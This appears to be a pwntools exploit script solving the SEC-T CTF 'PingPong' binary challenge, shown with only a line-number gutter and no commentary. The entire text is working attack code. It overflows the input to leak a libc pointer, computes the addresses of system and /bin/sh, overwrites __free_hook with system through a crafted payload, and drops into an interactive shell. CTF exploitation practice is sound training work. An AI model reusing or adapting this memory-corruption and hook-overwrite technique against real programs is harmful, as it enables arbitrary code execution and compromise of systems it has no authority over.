SEC-T CTF PingPong

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56

from pwn import *   def xor(val):     lst = []     for i in range(0, len(val), 2):         lst.append("0x"+val[i:i+2])       for i in range(len(lst)):         if i == 1 or i == 3 or i == 5 or i == 7:             lst[i] = hex(int(lst[i],16) ^ 0x20)       for i in range(len(lst)):         lst[i] = lst[i][2:]       return int("".join(lst), 16)   if __name__ == "__main__":     pwn_file = "./pingpong"     libc_file = "./libc.so.6"       pwn_elf = ELF(pwn_file)     r = process(pwn_file)     libc_elf = ELF(libc_file)     free_hook_offset = libc_elf.symbols['__free_hook']     system_offset = 0x380290 # stdout - system     one_gadget_offset = 0x45216     binsh_offset = 0x1479c7 # binsh - system     pop_rdi_offset = 0x0002155f       log.info("free_hook's offset = {}".format(hex(free_hook_offset)))       r.sendlineafter("ping:", "A"*56)       r.recvuntil("Aa"*28)     libc_stdout = u64(r.recv()[:-1].ljust(8,"\x00"))     libc_stdout = xor(hex(libc_stdout))     log.info("libc_stdout = {}".format(hex(libc_stdout)))     libc_system = libc_stdout - system_offset     log.info("libc_system = {}".format(hex(libc_system)))     libc_main = libc_system - 0x24b60     log.info("libc_main = {}".format(hex(libc_main)))     binsh = libc_system + binsh_offset     log.info("/bin/sh = {}".format(hex(binsh)))     free_hook = libc_system + 0x381418     log.info("free_hook = {}".format(hex(free_hook)))       one_gadget = libc_main + one_gadget_offset     log.info("oneshot gadget = {}".format(hex(one_gadget)))       payload = "A"*152     payload += p64(free_hook-0x8)     r.sendline(payload)     payload = "/BiN/Sh\x20"     payload += p64(libc_system)     r.sendline(payload)     r.interactive()